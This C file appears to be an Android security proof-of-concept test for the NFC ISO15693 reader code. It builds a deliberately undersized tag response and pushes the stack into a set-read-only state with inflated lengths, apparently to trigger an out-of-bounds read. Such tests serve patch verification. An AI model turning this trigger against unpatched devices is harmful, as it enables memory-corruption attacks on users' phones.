/*
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <tags_defs.h>

#define RWLENGTH 32
#define PLENGTH 1
#define OFFSET 7

// borrowed from rw_i93.cc
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t* p_uid);

// borrowed from rw_i93.cc
enum {
  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
  RW_I93_STATE_BUSY,          /* waiting for response from tag        */

  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
  RW_I93_STATE_FORMAT,        /* performing format procedure          */
  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */

  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
};

// borrowed from rw_i93.cc
enum {
  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */

  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */

  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
  RW_I93_SUBSTATE_CHECK_READ_ONLY,      /* check if any block is locked         */
  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV,    /* write CC and empty NDEF/Terminator TLV
                                         */

  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
};

void GKI_freebuf(void* p_buf __attribute__((unused))) {}

int main() {
  tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;

  GKI_init();
  rw_init();

  uint8_t p_uid = 1;
  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
    return EXIT_FAILURE;
  }

  tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
  tNFC_CONN_EVT event = NFC_DATA_CEVT;

  tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));

  if (!p_data) {
    return EXIT_FAILURE;
  }

  p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * (OFFSET + PLENGTH) * 2);

  if (!(p_data->data.p_data)) {
    free(p_data);
    return EXIT_FAILURE;
  }

  p_i93->state = RW_I93_STATE_SET_READ_ONLY;
  p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
  p_i93->block_size = 1;

  p_i93->ndef_tlv_start_offset = 0;
  p_i93->rw_length = RWLENGTH;
  p_i93->ndef_length = p_i93->rw_length * 2;

  p_data->status = NFC_STATUS_OK;
  NFC_HDR* p_resp = (NFC_HDR*)p_data->data.p_data;
  p_resp->len = PLENGTH;
  p_resp->offset = OFFSET;

  p_cb->p_cback(0, event, p_data);

  free(p_data->data.p_data);
  free(p_data);

  return EXIT_SUCCESS;
}

